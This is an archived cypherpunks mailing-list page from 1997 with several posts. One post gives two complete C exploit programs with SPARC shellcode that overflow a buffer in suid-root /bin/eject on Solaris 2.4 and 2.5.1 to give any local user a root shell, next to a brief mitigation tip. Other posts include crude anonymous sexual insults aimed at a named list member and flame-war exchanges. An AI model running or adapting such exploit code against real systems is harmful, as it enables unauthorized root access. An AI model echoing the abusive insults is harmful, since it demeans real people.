- cypherpunks-legacy - lists.cpunks.org

OECD draft crypto guidelines
by Declan McCullagh 17 Dec '03

17 Dec '03

I've been given a copy of the draft OECD crypto guidelines that will be released later this month. They don't say what the Justice Department would like them to, I imagine. You can find more info at http://netlynews.com/ -Declan

1 0

Exploit for buffer overflow in /bin/eject - Solaris 2.X
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

motto: "Mihai Eminescu was a good friend of Ion Creanga" Thu Mar 13 21:01:00 EET 1997 - Romania "Hole in /bin/eject - buffer overflow" I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who have suid exec bit and is owned by root). The buffer overflow problem appears in an internal function media_find(). The result is: any user can gain root shell. So, to prevent /bin/eject exploit, you have to get out suid-exec bit from /bin/eject (that's very simple) and compile a little program like: main() {execl("/bin/eject","eject","floppy",(char *)0);} That allows your work station ordinary users to eject floppy (thats the main task for eject). I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 looks a bit ugly - the buffer is two short - but it works. For both exploits argv[1] can change the STACK_OFFSET value (for troubleshotings +- 8 .. +-64 .. the step is 8). The interesting thing about this exploit it worked on some machines where it was installed some stuff to make inofensiv buffer overflows exploits ... Ok you have right down two exploits. For future I'm planing a web page with security stuff for Solaris so try http://www.math.pub.ro/security. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)sundy.cs.pub.ro, skipo(a)math.pub.ro, skipo(a)ns.ima.ro Phone: 401-410.60.88 ------------------------ banana24.c ----------------------------- /* For Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET 8 #define SPARC_NOP 0xc013a61c u_char sparc_shellcode[] = "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0"/*\x20\x08"*/ ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf,(char *) 0); perror("execl failed"); } ------------------------- end of banana24.c ------------------------ ------------------------- banana25.c ------------------------------- /* Wrote for Solaris 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf[1],(char *) 0); perror("execl failed"); } ---------------------------- end of banana25.c ------------------------

1 0

No Subject
by Bovine Remailer 17 Dec '03

17 Dec '03

Timmy C. May was born when his mother was on the toilet. < > < > V )_.._( V \\ <____> // ~ <______> ~ > /~\______/~\ // /~\_____/~\ /_\ /~\____/~\ /_\ /~\___/\~\ _/_\/ \___/\__/__\/ \___/__\/

1 0

Silvernail Concedes / Hides In Shame
by TruthMonger 17 Dec '03

17 Dec '03

roy(a)sendai.scytale.com wroted: > an7575(a)anon.nymserver.com correctly states: > > I always wonder why there seem to be so many lame fucks on > > the cypherpunks list who, rather than responding to the posts > > on the list, seem to be responding to some broken recording > > going on in their own head. > > Something like you not responding to my challenge to produce an exploit, > no doubt. > My point stands. Your point is garbage and will remain garbage. The only 'explotation' involved in this thread is the introduction of issues which were not raised by my post. Rather than respond to the concerns I raised, Alan Olsen chose to spew forth some unrelated diatribe about old memories of people claiming to have 'broken' PGP. The cypherpunks list never seems to lack for members who seem to lack the capacity for independent thought and who then respond to invalid tangents to the issues raised, rather than give an intelligent response to the real issues raised. I noticed, long ago, that if Dr. Vulis posted several pages of intelligent, crypto-related material, then signed off with his "JG is a cocksucker" tag, that I could expect to see perhaps a single post dealing with the crypto issues he raised, and dozens of posts saying "is not" and/or "is too." Am I to presume that Alan and Roy used the Clipper chip as anal suppositories, for safe, secure, protection, right up to the moment that its weaknesses were found? I am certain that they are confident that the plastic Zimmerman they have on their computer dashboards will protect them from harm, but I put more faith in the words of Zimmerman himself, than in those who worship his graven software blindly. When Alan and Roy, among others, have blathered on about 'exploits' long enough to get it out of their system, then perhaps they might consider looking up the word 'compromised' and respond to the issues I raised in my post. Thus far, there has been nobody either competent or willing enough to address them. > Oh, by the way... if you actually do this, I hope other people talk > about it because the *PLONK* you just heard was you hitting my killfile. Ah, yes, the old '*PLONK* and *RUN*' gambit. Is that a 'tail' I see between Roy's legs? TruthMonger

1 0

more info
by C M 17 Dec '03

17 Dec '03

more info --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com ---------------------------------------------------------

1 0

Re: "Experts slam PGP encryption"
by Moi 17 Dec '03

17 Dec '03

e$pam wrote: > Forwarded by Robert Hettinga ----------------------------------------------------------------------- > Date: Wed, 12 Mar 1997 08:19:59 -0500 > From: estone(a)synernet-d-o-t-.com (Ed Stone) (by way of root(a)127.0.0.1 > (Robert A. Hettinga)) > To: rah(a)shipwright.com > Subject: Re: "Experts slam PGP encryption" > Organization: Synernet > Mime-Version: 1.0 > Path: > thing1.leftbank.com!thing2.leftbank.com!cam-news-hub1.bbnplanet.com!cpk-news-hub > 1.bbnplanet.com!news.bbnplanet.com!news.sprintlink.net!news-peer.sprintlink…! > news-pull.sprintlink.net!news.sprintlink.net!news-dc-9.sprintlink.net!ralph.vnet > .net!not-for-mail > Newsgroups: sci.crypt > Lines: 25 > NNTP-Posting-Host: estone.vnet.net > X-Newsreader: Anawave Gravity v1.10.556 > X-Newsreader: Yet Another NewsWatcher 2.3.0 > > In article <5g34c8$4l$1(a)ftel.ftel.co.uk>, I.G.Batten(a)ftel.co.uk > says... > > -----BEGIN PGP SIGNED MESSAGE----- > > > > In article <3324B1D6.2F8D(a)iconn.net>, josmo <josmo(a)iconn.net> wrote: > > > feel rsa is built more for speed. the feds can brute a 128 bit key > > > whenever they want too. the real delema is that if you make it bigger it > > > > Unless IDEA has pathways that make attacks significantly faster than > > brute force possible (and I mean _significantly_, not a few bits) then I > > serious doubt anyone can brute force a 128 bit key. You aren't making > > the mistake of believing that a 128 bit key is 64 times harder to break > > than a 64 bit key, are you? > > > > ian > > If you try *100 trillion* keys per second, and find the key half way > through the keyspace, a 128-bit key will be found in only 5.4 x 10^14 > centuries! > > -- > ------------------------------- > Ed Stone > estone@synernet d o t com > ------------------------------- > > > -------------------------------------------------- > The e$ lists are brought to you by: > > Intertrader Ltd: Just released (Feb 97) "Digital Money Online" > <http://www.intertrader.com/library/DigitalMoneyOnline> > > Where people, networks and money come together: Consult Hyperion > http://www.hyperion.co.uk info(a)hyperion.co.uk > > Like e$pam? Help pay for it! See <http://www.atanda.com/rah.html> > Or, for e$pam sponsorship, see <http://thumper.vmeng.com/pub/rah/> > > Thanks to the e$ e$lves: > Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> > (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> > Commermeister: Anthony Templer <mailto:anthony@atanda.com> > Interturge: Rodney Thayer <mailto:rodney@sabletech.com> > HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

1 0

DESCHALL v0.214 now available -- US/Canada only
by Rocke Verser 17 Dec '03

17 Dec '03

Greetings! DESCHALL Version 0.214 is now available in the US and Canada. DESCHALL is a client-server based approach to cracking the RSA DES Challenge. Information about DESCHALL is available at the following Web site: http://www.frii.com/~rcv/deschall.htm As indicated in the above Web page, Michael Paul Johnson has graciously agreed to distribute DESCHALL from his export-controlled North American Crypto Site. [Thanks, MPJ!] At the present time, the server is running at about 2% of capacity. The server can handle a *whole lot* more clients. Clients are available for Linux, FreeBSD, OS/2, Windows 95/NT, and Sparc. [Offers for guest accounts to compile other clients gladly accepted!] Pentium 120MHz clients can test about 600,000 keys per second. Good luck! -- Rocke Verser, rcv(a)dopey.verser.frii.com

2 1

Re: Silvernail Concedes / Hides In Shame
by TruthMonger 17 Dec '03

17 Dec '03

Roy M. Silvernail wrote: > For the rest of the list, my comments were sent to > an7575(a)anon.nymserver.com in private mail. He/she/it chose to quote > private mail to the list. Make of that what you will. If this is the case, Roy, I apologize. I didn't notice that you had changed the reply-to address on your response to bypass the anonymity of your reply, so it appeared in my headers in the same format as those replies I receive through the list. I sometimes forget that there are those who do not wish the contents of their private email to reflect on their public image. I wouldn't lose too much sleep over it, however, since many people on the list hate to have their bubbles burst and probably killfiled me after my first post. I'm still waiting for someone to reply to the actual issues I raised in my post, as opposed dealing with imaginary daemons that they tacked on to the thread. TruthMonger

3 2

Re: [ADMINISTRATIVIUM] ElGamal
by nobody＠hidden.net 17 Dec '03

17 Dec '03

The only `culture' Timmy C[ocksucker] May possesses is that cultivated from his foreskin scrapings. O O Timmy C[ocksucker] May | \___/ \_/

3 2

Fred Cohen and dhp.com
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

For a good laugh, check out www.dhp.com where they posted their e-mail correspondence with Dr. Fred Cohen. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0